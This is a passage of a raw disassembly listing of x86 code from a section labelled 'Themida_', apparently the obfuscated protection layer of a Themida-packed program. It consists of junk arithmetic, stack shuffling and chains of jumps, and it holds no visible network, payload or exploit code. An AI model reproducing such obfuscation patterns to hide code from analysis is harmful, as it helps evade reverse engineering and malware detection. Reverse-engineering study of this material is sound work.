; ---------------------------------------------------------------------------


loc_5AEFBE:				; CODE XREF: Themida_:00599AA5j
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5ABE60
		push	ecx
		push	3B25h
		jmp	loc_5A05FD
; ---------------------------------------------------------------------------


loc_5AEFDE:				; CODE XREF: Themida_:0059B850j
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_599D71
; ---------------------------------------------------------------------------


loc_5AEFE9:				; CODE XREF: Themida_:005A7CAFj
		mov	cl, 2Ah
		sub	al, cl
		pop	cx
		jmp	loc_59D6C9
; ---------------------------------------------------------------------------


loc_5AEFF4:				; CODE XREF: Themida_:005A8A7Aj
					; Themida_:005ADA45j
		pop	ebx
		add	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		push	dword ptr [esp]
		jmp	loc_5A87B6
; ---------------------------------------------------------------------------


loc_5AF010:				; DATA XREF: Themida_:005986E0o
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	148Dh
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		jmp	loc_5A75B8
; ---------------------------------------------------------------------------


loc_5AF02E:				; CODE XREF: Themida_:0059CA8Cj
		mov	[esp], edi
		push	ebx
		push	edx
		mov	edx, 21B33B31h
		jmp	loc_5A6C96
; ---------------------------------------------------------------------------


loc_5AF03D:				; CODE XREF: Themida_:005AF203j
		push	16CCh
		mov	[esp], ebx
		mov	bl, 59h
		neg	bl
		xor	bl, 39h
		shr	bl, 8
		xor	bl, 0ACh
		sub	al, 56h
		add	al, bl
		jmp	loc_5A6DA5
; ---------------------------------------------------------------------------


loc_5AF05B:				; CODE XREF: Themida_:005AE383j
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 0E17895F3h
		add	eax, edx
		pop	edx
		add	edi, 42963D04h
		add	edi, eax
		sub	edi, 42963D04h
		pop	eax
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		or	[esp], al
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AF08E:				; CODE XREF: Themida_:00598E21j
		shl	ah, 6
		jmp	loc_599620
; ---------------------------------------------------------------------------


loc_5AF096:				; CODE XREF: Themida_:005AA3ABj
		and	esi, 11A914F8h
		jmp	loc_5A04FE
; ---------------------------------------------------------------------------


loc_5AF0A1:				; CODE XREF: Themida_:005A7475j
		add	ebx, ebp
		sub	ebx, 214A5A67h
		pop	ebp
		jmp	loc_5A547D
; ---------------------------------------------------------------------------


loc_5AF0AF:				; CODE XREF: Themida_:005A7099j
		mov	ebx, eax
		mov	edx, ebx
		pop	ebx
		pop	eax
		sub	ebx, edx
		mov	edx, [esp]
		jmp	loc_5A38B8
; ---------------------------------------------------------------------------


loc_5AF0BF:				; CODE XREF: Themida_:005AC97Ej
		add	ebx, 26680828h
		jb	loc_59DE4D
		sub	ebx, 86423A4Fh
		mov	ebp, ebx
		pop	ebx
		add	eax, 0C8D0DE4h
		add	eax, 46ED1A0Ah
		jmp	loc_5A6DE8
; ---------------------------------------------------------------------------


loc_5AF0E3:				; CODE XREF: Themida_:005A7AECj
		mov	ebx, 56143A45h
		dec	ebx
		jmp	loc_59B002
; ---------------------------------------------------------------------------


loc_5AF0EE:				; CODE XREF: Themida_:0059E2DCj
		or	edx, eax
		jmp	loc_598DF3
; ---------------------------------------------------------------------------


loc_5AF0F5:				; CODE XREF: Themida_:0059A947j
		pop	edi
		neg	ebx
		push	esi
		mov	esi, 2A37689Dh
		xor	esi, 4F1A0523h
		push	ecx
		mov	ecx, 377D4330h
		sub	esi, 64026243h
		add	esi, 69493C39h
		sub	esi, ecx
		push	ebp
		mov	ebp, 9E2CEFh
		not	ebp
		xor	ebp, 3B8873B3h
		not	ebp
		jmp	loc_5AC4B9
; ---------------------------------------------------------------------------


loc_5AF12D:				; CODE XREF: Themida_:0059F8FBj
		add	edx, 0F874C989h
		xor	ebp, edx
		pop	edx
		jmp	loc_5AB837
; ---------------------------------------------------------------------------


loc_5AF13B:				; CODE XREF: Themida_:00598F37j
		add	al, dh
		jmp	loc_59C901
; ---------------------------------------------------------------------------


loc_5AF142:				; CODE XREF: Themida_:005ACCE7j
		mov	cl, 33h
		neg	cl
		not	cl
		jmp	loc_5A3916
; ---------------------------------------------------------------------------


loc_5AF14D:				; CODE XREF: Themida_:loc_5A23A5j
		xor	ecx, 9CE96EF3h
		neg	ecx
		jmp	loc_5AB026
; ---------------------------------------------------------------------------


loc_5AF15A:				; CODE XREF: Themida_:005A0FD6j
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	ecx
		jmp	loc_5A3388
; ---------------------------------------------------------------------------


loc_5AF16F:				; CODE XREF: Themida_:005AA86Aj
		pop	eax
		jmp	loc_5ABE72
; ---------------------------------------------------------------------------


loc_5AF175:				; CODE XREF: Themida_:005AE3D8j
		mov	esi, 7E4C74B5h
		sub	esi, 0D583789h
		add	esi, 0F2F8C997h
		jmp	loc_59B949
; ---------------------------------------------------------------------------


loc_5AF18B:				; CODE XREF: Themida_:0059DE48j
		dec	ebx
		add	ebx, 534BD2BBh
		add	edx, ebx
		pop	ebx
		mov	edi, edx
		pop	edx
		add	ebx, 429D647Bh
		sub	ebx, edi
		sub	ebx, 429D647Bh
		jmp	loc_5A2550
; ---------------------------------------------------------------------------


loc_5AF1AB:				; CODE XREF: Themida_:005A4D83j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A7681
; ---------------------------------------------------------------------------


loc_5AF1B9:				; CODE XREF: Themida_:005AB931j
		push	124Dh
		mov	[esp], ebx
		jmp	loc_5A26E5
; ---------------------------------------------------------------------------


loc_5AF1C6:				; CODE XREF: Themida_:005A05CDj
		not	ecx
		xchg	eax, ecx
		xor	eax, 16396459h
		jmp	loc_5AFBF9
; ---------------------------------------------------------------------------


loc_5AF1D3:				; CODE XREF: Themida_:005992C7j
		mov	[esp], ebx
		push	24h
		jmp	loc_5996DA
; ---------------------------------------------------------------------------


loc_5AF1E0:				; CODE XREF: Themida_:0059BF18j
		pop	edx
		jmp	loc_5A097C
; ---------------------------------------------------------------------------


loc_5AF1E6:				; CODE XREF: Themida_:00598D7Aj
		mov	esi, [esp]
		push	ebx
		jmp	loc_5AE079
; ---------------------------------------------------------------------------


loc_5AF1EF:				; CODE XREF: Themida_:0059AE03j
		sub	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_5A2270
; ---------------------------------------------------------------------------


loc_5AF1F9:				; CODE XREF: Themida_:005A4D68j
		push	edx
		mov	dl, 0BEh
		sub	al, 52h
		add	al, dl
		add	al, 52h
		pop	edx
		jmp	loc_5AF03D
; ---------------------------------------------------------------------------


loc_5AF208:				; CODE XREF: Themida_:00599260j
					; Themida_:005AF5FAj
		add	esi, eax
		jmp	loc_599915
; ---------------------------------------------------------------------------


loc_5AF20F:				; CODE XREF: Themida_:005ACAD2j
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 62204C5Ch
		add	esi, edx
		push	ebp
		mov	ebp, 311A231Ah
		sub	ebp, 0CEF9D6BEh
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		push	ebp
		mov	ebp, 24FE7F98h
		add	esi, ebp
		pop	ebp
		sub	esi, edx
		sub	esi, 24FE7F98h
		mov	edx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_5AA032
; ---------------------------------------------------------------------------


loc_5AF267:				; CODE XREF: Themida_:005ADDF5j
		sub	bl, 0DEh
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_5A54AB
; ---------------------------------------------------------------------------


loc_5AF285:				; CODE XREF: Themida_:0059B3FBj
		inc	ah
		push	ebx
		mov	bh, 4Dh
		and	ah, bh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		jmp	loc_59C0C9
; ---------------------------------------------------------------------------


loc_5AF299:				; CODE XREF: Themida_:005A67BDj
		add	ebx, eax
		sub	ebx, 5C5B487Ch
		sub	ebx, 350E23FDh
		jmp	loc_59F5BA
; ---------------------------------------------------------------------------


loc_5AF2AC:				; CODE XREF: Themida_:loc_5A1E9Fj
		inc	eax
		jns	loc_59D5D5
		jmp	loc_5A0EBF
; ---------------------------------------------------------------------------
		push	esi
		jmp	loc_5AD7EF
; ---------------------------------------------------------------------------
		mov	eax, esi


loc_5AF2C0:				; CODE XREF: Themida_:005A7EF7j
		sub	eax, 0D9C350C9h
		mov	ebx, eax
		pop	eax
		dec	ebx
		sub	ebx, 4A8742F2h
		jmp	loc_5A8BDD
; ---------------------------------------------------------------------------


loc_5AF2D4:				; CODE XREF: Themida_:005AEEECj
		sub	eax, 296660F0h
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_5AA8A0
; ---------------------------------------------------------------------------


loc_5AF2E4:				; CODE XREF: Themida_:loc_59F1DFj
					; Themida_:005AED0Ej
		mov	[esp], esi
		mov	esi, 2951313Ah
		push	esi
		not	dword ptr [esp]
		pop	esi
		sub	esi, 45075EF7h
		jmp	loc_5A5BB7
; ---------------------------------------------------------------------------


loc_5AF2FC:				; CODE XREF: Themida_:005AB722j
		sub	esi, 425445DBh
		pop	ebp
		push	ebp
		push	54F5348Ah
		pop	ebp
		sub	ebp, 0FFFFFFFFh
		jmp	loc_5A4863
; ---------------------------------------------------------------------------


loc_5AF312:				; CODE XREF: Themida_:005A775Fj
		and	ebp, 159527B9h
		sub	ebp, 0C306B915h
		add	esi, 7A8809D3h
		jmp	loc_5A30E7
; ---------------------------------------------------------------------------


loc_5AF329:				; CODE XREF: Themida_:005A5047j
		sub	ch, bl
		mov	bx, [esp]
		jmp	loc_59AFEA
; ---------------------------------------------------------------------------


loc_5AF334:				; CODE XREF: Themida_:005ACAC8j
		add	edi, 0BBB7035h
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59FC4E
; ---------------------------------------------------------------------------


loc_5AF34B:				; CODE XREF: Themida_:0059CC0Dj
		pop	edx
		pop	eax
		inc	edx
		xchg	ecx, edx
		jmp	loc_5AD2FA
; ---------------------------------------------------------------------------


loc_5AF355:				; CODE XREF: Themida_:0059FC3Ej
		push	eax
		mov	eax, 69AD2CCDh
		jmp	loc_598D69
; ---------------------------------------------------------------------------


loc_5AF360:				; CODE XREF: Themida_:005A0580j
		add	ebx, 2EE0603h
		jmp	loc_5A6FC8
; ---------------------------------------------------------------------------


loc_5AF36B:				; CODE XREF: Themida_:005AC47Aj
		neg	ecx
		sub	ecx, 45862BC0h
		dec	ecx
		jmp	loc_5AB4DA
; ---------------------------------------------------------------------------


loc_5AF379:				; CODE XREF: Themida_:005A136Bj
		push	eax
		push	7D27h
		mov	[esp], edx
		mov	eax, [esp]
		push	ecx
		push	eax
		mov	eax, esp
		jmp	loc_5A8CB2
; ---------------------------------------------------------------------------


loc_5AF38E:				; CODE XREF: Themida_:0059E293j
		xchg	esi, [esp]
		pop	esp
		add	ecx, edx
		jmp	loc_59D28E
; ---------------------------------------------------------------------------


loc_5AF399:				; CODE XREF: Themida_:0059F793j
		dec	dl
		jmp	loc_5ADD2B
; ---------------------------------------------------------------------------


loc_5AF3A0:				; CODE XREF: Themida_:loc_5ABA9Dj
		dec	ebx
		jno	loc_5A750C
		or	ebx, 2B3D7309h
		jmp	loc_5A1F12
; ---------------------------------------------------------------------------
		db 59h
off_5AF3B3	dd offset dword_49005C+2370Ch ;	DATA XREF: Themida_:00598738o
		align 4
		mov	[esp], ebx
		mov	ebx, 0FEh
		jmp	loc_5A1272
; ---------------------------------------------------------------------------


loc_5AF3C5:				; CODE XREF: Themida_:005ADC1Ej
		push	edx
		push	edi
		sub	esp, 4
		jmp	loc_5A83CF
; ---------------------------------------------------------------------------


loc_5AF3D2:				; CODE XREF: Themida_:loc_5A7BD6j
		xor	edx, 65B5EAEFh
		xor	esi, edx
		jmp	loc_5A1F68
; ---------------------------------------------------------------------------


loc_5AF3DF:				; CODE XREF: Themida_:005A23D0j
		sub	ebx, 4A296107h
		jmp	loc_598BF7
; ---------------------------------------------------------------------------


loc_5AF3EA:				; CODE XREF: Themida_:005A4DDCj
		mov	ecx, 4
		jmp	loc_59E4CD
; ---------------------------------------------------------------------------


loc_5AF3F4:				; CODE XREF: Themida_:0059D1B2j
					; Themida_:005AED78j
		mov	edi, edx
		jmp	loc_5AE1B8
; ---------------------------------------------------------------------------


loc_5AF3FB:				; CODE XREF: Themida_:005AF438j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_5A0972
; ---------------------------------------------------------------------------


loc_5AF41D:				; CODE XREF: Themida_:005AC494j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A428D
; ---------------------------------------------------------------------------


loc_5AF431:				; CODE XREF: Themida_:005A6628j
		xchg	edx, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_5AF3FB
; ---------------------------------------------------------------------------


loc_5AF43D:				; CODE XREF: Themida_:005A2B18j
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_5AD900
; ---------------------------------------------------------------------------


loc_5AF458:				; CODE XREF: Themida_:005A86F1j
		sub	esp, 4
		mov	[esp], ebp
		pop	edi
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_599140
; ---------------------------------------------------------------------------


loc_5AF48B:				; CODE XREF: Themida_:0059BA4Bj
		push	dword ptr [edi+eax*4]
		jmp	loc_59EFB5
; ---------------------------------------------------------------------------


loc_5AF493:				; CODE XREF: Themida_:005AB08Aj
		mov	ebp, esi
		pop	esi
		shl	ebp, 2
		jp	loc_5A0655
		jmp	loc_5A2F3C
; ---------------------------------------------------------------------------


loc_5AF4A4:				; CODE XREF: Themida_:0059C6C3j
		and	al, ch
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A1F8D
; ---------------------------------------------------------------------------


loc_5AF4B8:				; CODE XREF: Themida_:005A454Bj
		pop	eax
		push	ebp
		jmp	loc_5A345E
; ---------------------------------------------------------------------------


loc_5AF4BF:				; CODE XREF: Themida_:005AF65Bj
		push	dword ptr [esp]
		pop	edx
		push	3375h
		mov	[esp], esi
		push	ebx
		mov	ebx, esp
		jmp	loc_5A0C32
; ---------------------------------------------------------------------------


loc_5AF4D3:				; CODE XREF: Themida_:0059B12Ej
		shl	eax, 2
		jmp	loc_5A202B
; ---------------------------------------------------------------------------


loc_5AF4DB:				; CODE XREF: Themida_:0059EDD9j
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	3620h
		mov	[esp], ebp
		jmp	loc_59D498
; ---------------------------------------------------------------------------


loc_5AF4FE:				; CODE XREF: Themida_:0059AFF8j
		sub	ch, 9Bh
		sub	ch, 0E6h
		sub	bl, 0B6h
		jmp	loc_5AABD6
; ---------------------------------------------------------------------------


loc_5AF50C:				; CODE XREF: Themida_:005AE45Fj
		dec	eax
		jmp	loc_5A2BE0
; ---------------------------------------------------------------------------


loc_5AF512:				; CODE XREF: Themida_:005AFA38j
		or	ebp, 420F1EF0h
		jge	loc_5A4F44
		and	ebp, 53AC06A5h
		jmp	loc_5AD9A0
; ---------------------------------------------------------------------------


loc_5AF529:				; DATA XREF: Themida_:005987BCo
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	byte ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AF538:				; CODE XREF: Themida_:0059D51Aj
		push	ecx
		sub	esp, 4
		jmp	loc_5AA779
; ---------------------------------------------------------------------------


loc_5AF544:				; CODE XREF: Themida_:005A5B92j
		mov	esp, [esp]
		div	ecx
		jmp	loc_59F62D
; ---------------------------------------------------------------------------


loc_5AF54E:				; CODE XREF: Themida_:0059AA51j
		mov	[esp], ax
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AF557:				; CODE XREF: Themida_:005A71FBj
					; Themida_:005A7A4Bj
		jns	loc_5A9668
		shl	edi, 8
		jns	loc_59A0B7
		mov	ecx, edx
		push	esi


loc_5AF569:				; CODE XREF: Themida_:005ADE96j
		add	ebx, 18BB1CC5h
		sub	ebx, eax
		sub	ebx, 18BB1CC5h
		add	ebx, 3CB808B4h
		sub	ebx, 1B3447ACh
		jmp	loc_5A3C25
; ---------------------------------------------------------------------------


loc_5AF588:				; CODE XREF: Themida_:loc_59F44Cj
		neg	edx
		jz	loc_59E827
		jmp	loc_59A0CE
; ---------------------------------------------------------------------------


loc_5AF595:				; CODE XREF: Themida_:005AACA4j
		xor	[ecx], ebp
		pop	ecx
		jmp	loc_5A6D33
; ---------------------------------------------------------------------------


loc_5AF59D:				; CODE XREF: Themida_:00598C5Aj
		mov	ebp, 41A93F70h
		jmp	loc_59ED46
; ---------------------------------------------------------------------------


loc_5AF5A7:				; CODE XREF: Themida_:00599815j
		pop	eax
		mov	dh, 80h
		add	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		add	bl, 1Fh
		sub	bl, dh
		jmp	loc_5AAE72
; ---------------------------------------------------------------------------


loc_5AF5BC:				; DATA XREF: Themida_:005986ECo
		lodsb
		push	cx
		push	eax
		jmp	loc_5A22B5
; ---------------------------------------------------------------------------


loc_5AF5C5:				; CODE XREF: Themida_:005AD656j
		add	edi, 7DFC093Dh
		xor	edi, 76EB798Dh
		inc	edi
		jmp	loc_5A0545
; ---------------------------------------------------------------------------


loc_5AF5D7:				; CODE XREF: Themida_:005A975Ej
		mov	dl, 67h
		jmp	loc_59C692
; ---------------------------------------------------------------------------


loc_5AF5DE:				; CODE XREF: Themida_:0059E8B7j
		add	ecx, eax
		jmp	loc_5A3B44
; ---------------------------------------------------------------------------


loc_5AF5E5:				; CODE XREF: Themida_:005A5C6Ej
		pop	esp
		xor	[esp], al
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AF5EF:				; CODE XREF: Themida_:005AE7A1j
		mov	eax, 2
		add	esi, 7DC51205h
		jmp	loc_5AF208
; ---------------------------------------------------------------------------


loc_5AF5FF:				; CODE XREF: Themida_:005A0F86j
		add	esp, 4
		xor	ebx, eax
		push	ecx
		jmp	loc_59FE89
; ---------------------------------------------------------------------------


loc_5AF60A:				; CODE XREF: Themida_:005AE141j
		shr	dh, 2
		and	dh, 3Dh
		inc	dh
		dec	dh
		jmp	loc_5A9273
; ---------------------------------------------------------------------------


loc_5AF619:				; CODE XREF: Themida_:0059901Fj
		push	eax
		mov	eax, esp
		jmp	loc_59E71F
; ---------------------------------------------------------------------------


loc_5AF621:				; CODE XREF: Themida_:005AB9DEj
		push	ecx
		mov	ecx, 4E77E6Eh
		jmp	loc_5A1943
; ---------------------------------------------------------------------------


loc_5AF62C:				; CODE XREF: Themida_:005A2224j
					; Themida_:005A6CBCj
		add	ecx, esi
		pop	esi
		sub	esi, 37E95517h
		sub	esi, 843769Eh
		add	esi, ecx
		jmp	loc_5A9896
; ---------------------------------------------------------------------------


loc_5AF642:				; CODE XREF: Themida_:0059E308j
		add	ecx, 31422D66h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5AF4BF
; ---------------------------------------------------------------------------


loc_5AF660:				; CODE XREF: Themida_:0059F2FAj
		push	727Ch
		mov	[esp], eax
		jmp	loc_5A805A
; ---------------------------------------------------------------------------
		push	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ecx
		push	623Ah
		jmp	loc_5A569B
; ---------------------------------------------------------------------------


loc_5AF68A:				; CODE XREF: Themida_:005AB928j
		pop	edx
		add	esp, 4
		jmp	loc_5ABC16
; ---------------------------------------------------------------------------


loc_5AF696:				; CODE XREF: Themida_:005ABF65j
		jmp	loc_5ADE3C
; ---------------------------------------------------------------------------


loc_5AF69B:				; CODE XREF: Themida_:005AEA19j
		mov	ecx, 4
		sub	ebp, 66A13FE1h
		sub	ebp, 43396CCCh
		jmp	loc_5A4CE6
; ---------------------------------------------------------------------------


loc_5AF6B1:				; CODE XREF: Themida_:005AEF38j
		add	ecx, 4
		jmp	loc_5A941D
; ---------------------------------------------------------------------------


loc_5AF6BC:				; CODE XREF: Themida_:005A9D05j
		pop	edx
		add	ecx, 2
		xor	ecx, [esp]
		jmp	loc_5998A7
; ---------------------------------------------------------------------------


loc_5AF6C8:				; CODE XREF: Themida_:005AA2A0j
		add	esp, 4
		jmp	loc_59EA17
; ---------------------------------------------------------------------------


loc_5AF6D0:				; CODE XREF: Themida_:005ACE8Bj
		mov	[esp], esi
		jmp	loc_5A5378
; ---------------------------------------------------------------------------


loc_5AF6D8:				; CODE XREF: Themida_:0059B11Cj
		sub	edx, 69034C38h
		jmp	loc_5AA7FE
; ---------------------------------------------------------------------------


loc_5AF6E3:				; CODE XREF: Themida_:00598E72j
					; Themida_:005A6F4Fj
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5A5B9D
; ---------------------------------------------------------------------------


loc_5AF6F7:				; CODE XREF: Themida_:005A4271j
		pop	ebp
		xor	edx, 72926D7h
		or	edx, 0C775F9Ah
		push	edi
		mov	edi, 5F574A1Bh
		or	edx, edi
		pop	edi
		add	edx, 0BF2CC0B8h
		mov	eax, edx
		pop	edx
		sub	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	eax
		push	ebx
		push	354Dh
		jmp	loc_5AEFA7
; ---------------------------------------------------------------------------


loc_5AF72A:				; CODE XREF: Themida_:005A20B6j
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		mov	ebp, 57D80383h
		shl	ebp, 8
		add	ebp, 87FD98D9h
		mov	edi, ebp
		mov	ebp, [esp]
		jmp	loc_5AA4AF
; ---------------------------------------------------------------------------


loc_5AF753:				; CODE XREF: Themida_:005A314Bj
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		shl	dword ptr [esp], cl
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5AF768:				; CODE XREF: Themida_:005ACEDEj
					; Themida_:005AE7BAj
		push	ecx
		jmp	loc_598F2E
; ---------------------------------------------------------------------------


loc_5AF76E:				; CODE XREF: Themida_:005A11FAj
					; Themida_:005AF893j
		jnp	loc_5AA021
		xor	edi, 398B7D17h
		jmp	loc_5A31BF
; ---------------------------------------------------------------------------


loc_5AF77F:				; CODE XREF: Themida_:005A01B5j
		add	eax, 5F1C159Eh
		mov	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	edx, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_59938B
; ---------------------------------------------------------------------------


loc_5AF79E:				; CODE XREF: Themida_:loc_5A764Ej
		not	ecx
		jmp	loc_59CC03
; ---------------------------------------------------------------------------


loc_5AF7A5:				; DATA XREF: Themida_:005987ECo
		mov	cx, [esp]
		push	215h
		mov	[esp], ebx
		jmp	loc_5AD8ED
; ---------------------------------------------------------------------------


loc_5AF7B6:				; CODE XREF: Themida_:005A1044j
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	edx
		push	739D4003h
		jmp	loc_59AD61
; ---------------------------------------------------------------------------


loc_5AF7D0:				; CODE XREF: Themida_:0059A683j
					; Themida_:loc_5A5C57j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5A87F0
; ---------------------------------------------------------------------------


loc_5AF7DB:				; CODE XREF: Themida_:005AAFB0j
		push	ebp
		mov	ebp, 2
		add	eax, ebp
		jmp	loc_59D86A
; ---------------------------------------------------------------------------


loc_5AF7E8:				; CODE XREF: Themida_:0059A260j
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		push	ecx
		jmp	loc_5A3729
; ---------------------------------------------------------------------------


loc_5AF7F7:				; CODE XREF: Themida_:005A71A7j
		mov	[esp], ebp
		push	6EDBh
		mov	[esp], edx
		mov	edx, 3E6C6011h
		push	ecx
		push	5FE3CE0h
		pop	ecx
		dec	ecx
		jl	loc_59F0F9
		jmp	loc_5A9B57
; ---------------------------------------------------------------------------


loc_5AF81A:				; CODE XREF: Themida_:005AAE84j
		mov	dh, 0E8h
		mov	ah, dh
		jmp	loc_5AD24C
; ---------------------------------------------------------------------------


loc_5AF823:				; CODE XREF: Themida_:0059B8D3j
		sub	edi, 5D9A683Ch
		add	edi, ecx
		add	edi, 5D9A683Ch
		pop	ecx
		jmp	loc_5A9ADA
; ---------------------------------------------------------------------------


loc_5AF837:				; CODE XREF: Themida_:0059EF82j
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		push	ecx
		jmp	loc_59DDBB
; ---------------------------------------------------------------------------


loc_5AF846:				; CODE XREF: Themida_:005A3823j
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	ah, 57h
		dec	ah
		jmp	loc_5A7CB4
; ---------------------------------------------------------------------------


loc_5AF859:				; CODE XREF: Themida_:005A4C45j
		mov	[esp], ecx
		mov	ecx, 3F133A1Eh
		jmp	loc_59DA29
; ---------------------------------------------------------------------------


loc_5AF866:				; CODE XREF: Themida_:005ACE15j
		mov	[esp], esp
		jmp	loc_5A5DF1
; ---------------------------------------------------------------------------


loc_5AF86E:				; CODE XREF: Themida_:005A2754j
		shl	ecx, 2
		shl	ecx, 7
		add	ecx, 1
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		push	128D3EFCh
		pop	eax
		jmp	loc_59CF76
; ---------------------------------------------------------------------------


loc_5AF88C:				; CODE XREF: Themida_:loc_5A01E9j
		xor	ebp, 4E0F5DDEh
		inc	ebp
		jmp	loc_5AF76E
; ---------------------------------------------------------------------------


loc_5AF898:				; CODE XREF: Themida_:0059FF6Dj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		push	eax
		mov	eax, 6A9E2877h
		mov	edx, eax
		pop	eax
		mov	eax, 6A9E287Bh
		add	eax, 53B043BAh
		jmp	loc_5AE5AE
; ---------------------------------------------------------------------------


loc_5AF8BE:				; CODE XREF: Themida_:005A1BC2j
		push	5AE1h
		mov	[esp], edi
		jmp	loc_5AAD79
; ---------------------------------------------------------------------------


loc_5AF8CB:				; CODE XREF: Themida_:005AB64Cj
		add	esp, 4
		push	594Fh
		jmp	loc_5A734F
; ---------------------------------------------------------------------------


loc_5AF8DB:				; CODE XREF: Themida_:005A784Dj
		add	ebx, edx
		jmp	loc_5AC641
; ---------------------------------------------------------------------------


loc_5AF8E2:				; CODE XREF: Themida_:005A8574j
					; Themida_:005A8A84j
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 0E0042A1h
		inc	ecx
		add	ecx, 4D383939h
		jmp	loc_5ACAC0
; ---------------------------------------------------------------------------


loc_5AF8FB:				; CODE XREF: Themida_:005A9D69j
		pop	esp
		push	edi
		push	4
		jmp	loc_5ABB2E
; ---------------------------------------------------------------------------


loc_5AF907:				; CODE XREF: Themida_:005A471Bj
		mov	ebx, 47AF0236h
		jmp	loc_5A95F4
; ---------------------------------------------------------------------------


loc_5AF911:				; CODE XREF: Themida_:0059AE0Fj
		add	edx, edi
		add	edx, 94A08EBh
		push	92Eh
		mov	[esp], ecx
		push	3EF500B9h
		jmp	loc_5A6E38
; ---------------------------------------------------------------------------


loc_5AF92B:				; CODE XREF: Themida_:005A9DDDj
		add	esi, 6AB21CF3h
		jmp	loc_5A0F8B
; ---------------------------------------------------------------------------


loc_5AF936:				; CODE XREF: Themida_:005A7B24j
		dec	bl
		js	loc_5A1B84
		sub	bl, 43h
		and	dh, bl
		mov	bx, [esp]
		add	esp, 2
		push	2A36h
		mov	[esp], edx
		not	byte ptr [esp+1]
		pop	edx
		jmp	loc_5AC95E
; ---------------------------------------------------------------------------


loc_5AF95C:				; CODE XREF: Themida_:0059E74Aj
		inc	ebp
		jmp	loc_59EA6D
; ---------------------------------------------------------------------------


loc_5AF962:				; CODE XREF: Themida_:005A5DA4j
		pop	si
		push	edi
		mov	di, 2928h
		shl	di, 3
		jmp	loc_59F8E8
; ---------------------------------------------------------------------------


loc_5AF972:				; CODE XREF: Themida_:005A0421j
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A5A98
; ---------------------------------------------------------------------------


loc_5AF98C:				; CODE XREF: Themida_:005ABBB6j
		push	ebp
		mov	ebp, 6A112506h
		shr	ebp, 3
		xor	ebp, 69C97AA1h
		dec	ebp
		xor	ebp, 93856E84h
		sub	ebx, ebp
		pop	ebp
		or	edi, ebx
		pop	ebx
		jmp	loc_5A8AF7
; ---------------------------------------------------------------------------


loc_5AF9AD:				; CODE XREF: Themida_:0059E318j
		add	ecx, 25D21BF5h
